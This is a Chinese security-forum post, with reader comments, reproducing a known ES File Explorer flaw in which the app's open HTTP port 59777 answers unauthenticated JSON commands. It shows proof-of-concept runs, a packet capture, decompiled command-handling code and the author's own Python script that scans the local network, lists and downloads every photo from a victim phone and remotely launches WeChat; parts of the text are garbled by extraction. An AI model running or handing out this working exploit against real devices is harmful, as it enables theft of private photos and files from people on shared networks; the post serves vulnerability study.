# ES文件浏览器漏洞复现

threst / 2019-01-23 08:40:00 / 浏览数 4710 安全技术 技术讨论 顶(2) 踩(0)

# 写在前面的话

今天上网的时候看到一个新闻,ES文件浏览器存在漏洞,同一个网络下的用户可以直接访问安装了ES的用户手机上的文件,正好我手机上也安装了es,于是就测试了下。

# 测试

poc<u>地址</u>下载

ip:

开始是192.168.0.100

后来有事去了,再连就是192.168.0.102

版本号:4.1.9.4

# 0x00验证漏洞

首先电脑和手机处于同一个网络,再查看我的手机ip,和es的版本

# 反馈问题

发送邮件给我们

```
$python poc.py poc.py --cmd getDeviceInfo --network 192.168.0.

[*] Checking address: 192.168.0.100

[*] 发现目标192.168.0.100

[*] 执行操作: getDeviceInfo on 192.168.0.100

[*] Server responded with: 200

{"name":"ONEPLUS A5010", "ftpRoot":"/sdcard", "ftpPort":"3721"}
```

### 0x01分析原理

看了各位大佬的分析,小白我大概知道了原理,就是向手机发送一个json的数据包.我们使用大佬的脚本.想手机发送一个数据包,抓包分析一下

```
Wireshark · Follow HTTP Stream (tcp.stream eq 5) · wlan0 (sandboxed or root)

POST / HTTP/1.1
Host: 192.168.0.100:59777
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.20.0
Content-Type: application/json
Content-Length: 27
{ "command":getDeviceInfo }HTTP/1.0 200 0K
Content-Type: text/plain
Date: Tue, 22 Jan 2019 02:47:03 GMT
Content-Length: 63
{"name":"ONEPLUS A5010", "ftpRoot":"/sdcard", "ftpPort":"3721"}
```

确实是发送了一个json的数据包

#### 0x02获取受害者手机图片

首先列出受害者手机所有图片

python poc.py --cmd listPics

```
~/ESFileExplorer
        $python poc.py --cmd listPics
 *] Executing command: listPics on 192.168.0.102
 *] Server responded with: 200
                                                                                                                             ', "location":"/storage/emulated/0/DCIM

                                                                                                                                 "location": "/storage/emulated/0/DCIM
"location": "/storage/emulated/0/DCIM
                                                          "size": "5.41 MB (5,677,336 å è)"
 mera/IMG_20181222_174738.jpg",
```

可以看到很多手机图片

python poc.py -g /storage/emulated/0/DCIM/Camera/IMG\_20181218\_175120.jpg

成功将图片下载到本地

# 0x04造个轮子

玩了下大佬的脚本,确实厉害,但是发现一个问题,就是他的脚本会自动扫描局域网所有的ip,这样就会很浪费时间,所以本着练习python编程的想法,自己又造了个轮子

```
#coding:utf-8
from socket import *
import requests
import re
import json
import sys
addrs = []
def poc():
   for ip in range(101, 104):
       addr = "192.168.0."+str(ip)
       s = socket(AF_INET, SOCK_STREAM)
       s.settimeout(1)
       if not s.connect_ex((addr, 59777)):
            s.close()
            print("[+]"+addr+"■■■■")
            addrs.append(addr)
       else:
            continue
            s.close()
   print("[+] \blacksquare \blacksquare \blacksquare \blacksquare \n[+] \blacksquare \blacksquare \blacksquare \blacksquare "+sys.argv[1])
def cmd(cmd):
   poc()
   for addr in addrs:
       headers = {"Content-Type": "application/json"}
       address = 'http://' + addr + ':59777'
       data = '{ "command": ' + cmd + ' }'
       r = requests.post(address, headers=headers, data=data)
       if cmd == 'listPics':#■■■■
            image = re.compile(r'/s.*jpg')
            for i in image.findall(r.text):
                imageurl = address + i
                filename = i.rsplit('/', 1)[1]
                r = requests.get(imageurl, headers=headers)
                print("[+]■■■■"+i)
                with open(filename, 'wb') as f:
                     f.write(r.content)
                     #break
       elif cmd == 'wx':#
            data = '{"command":"appLaunch", "appPackageName": "com.tencent.mm"}'
            r = requests.post(address, headers=headers, data=data)
       else:
            print(r.text)
def main():
   if len(sys.argv) > 1:
       cmd(sys.argv[1])
```

```
print('Usage:')
              print('python3 es.py wx')
              print('python3 es.py listPics')
              print('python3 es.py listApps')
              print('python3 es.py listAudios')
              print('python3 es.py listVideos')
              print('python3 es.py listAppsPhone')
              print('python3 es.py getDeviceInfo')
              print('python3 es.py listAppsAll')
if __name__ == '__main__':
      main()
添加了一键下载所有图片,启动微信等功能大致原理就是去请求资源的地址,只要符合APP的方法就行,具体方法参考漏洞路径4.1.84class2.-dex2jar.jar\com\est:
public c.b a(String paramString1, String paramString2, Properties paramProperties1, Properties paramProperties2, Properties paramProperties pa
      if (paramString1.startsWith("/estrongs_filemgr_oauth_result"))
          paramString1 = CreateOAuthNetDisk.b();
          if (paramString1 != null) {
              paramString1.a(paramProperties2);
          return null;
      if (paramString2.equals("POST"))//
          localObject = new String(g());
          try
          {
              localObject = new JSONObject((String)localObject);//JSONG
              String str = ((JSONObject)localObject).getString("command");//==JSON=command====
              if (str.equals("listFiles")) {//
                  return b(paramString1);
              if (str.equals("listPics")) {//
                  return d();
              if (str.equals("listVideos")) {//■■■■■■
                  return e();
              if (str.equals("listAudios")) {//■■■■■■
                  return f();
              if (str.equals("listApps")) {//■■■■■
                  return a(0);

              if (str.equals("listAppsPhone")) {//}
                  return a(2);
               if (str.equals("listAppsSdcard")) {//
                   return a(3);
              if (str.equals("listAppsAll")) {//}\blacksquare\blacksquare\blacksquare\blacksquareAPP
                  return a(4);
              if (str.equals("getAppThumbnail")) {//■■APP■■■
                   return d((JSONObject)localObject);
              if (str.equals("appLaunch")) {//}\blacksquare\blacksquareAPP
                  return a((JSONObject)localObject);
               if (str.equals("appPull")) {//}\blacksquare\blacksquareAPP
                   return c((JSONObject)localObject);
```

else:

```
if (str.equals("getDeviceInfo"))//
        paramString1 = b((JSONObject)localObject);
        return paramString1;
      }
     }
     catch (JSONException paramString1)
     {
      paramString1.printStackTrace();
      return new c.b(this, "500 Internal Server Error", "text/plain", paramString1.toString());
     }
  Object localObject = ah.bL(paramString1);
  if ((localObject == null) || (ah.I((String)localObject) == 0))
     if (localObject == null) \{
      return super.a(paramString1, paramString2, paramProperties1, paramProperties2, paramProperties3);
    return super.a((String)localObject, paramString2, paramProperties1, paramProperties2, paramProperties3);
  paramString1 = paramProperties1.getProperty("range");
  if ((paramString1 != null) && (paramString1.startsWith("bytes=")))
    paramString2 = paramString1.substring("bytes=".length());
    int i = paramString2.indexOf('-');
    paramString1 = paramString2;
    if (i > 0) {
      paramString1 = paramString2.substring(0, i);
  for (;;)
     try
      1 = Long.parseLong(paramString1);
      return a((String)localObject, 1, 0L);
     catch (NumberFormatException paramString1)
      1 = 0L;
      continue;
     long l = 0L;
0x05其他功能
```

}

```
listFiles 
listPics
listVideos████████
listAudios
listApps
listAppsSystem
listAppsPhone
listAppsSdcard■■■■sdcard
listAppsAll
getDeviceInfo■■■■■■■
appPull
appLaunch
getAppThumbnail
```

最后还要膜下发现漏洞的大佬,是真的强。文章有什么不足,各位师傅多多指出。

大佬能分析一下,是在哪里启动的这个HTTP服务不?

0 回复Ta

sha\*\*\*\*ock5 2019-01-23 16:33:18

我搜索了"59777",但是代码有些混淆,没找到具体是从哪个入口启动的这个端口为59777的HTTP服务。

# @sha\*\*\*\*ock5

我可能没有写清楚,大佬可以去4.1.84class2.-dex2jar.jar\com\estrongs\android\f\a.class去看看,也可以参考这个<a href="https://bbs.ichunqiu.com/forum">https://bbs.ichunqiu.com/forum</a>

@Badrer

https://www.apkmirror.com/apk/es-global/es-file-explorer/es-file-explorer-4-1-6-release/es-file-explorer-file-manager-4-1-6-android-apk-download/do

0 回复Ta

conan 2019-01-24 23:22:01

@threst 感谢分享,其实人家的脚本里本来就支持单个IP的检测了,比如python poc.py --cmd listFiles --ip 192.168.4.17
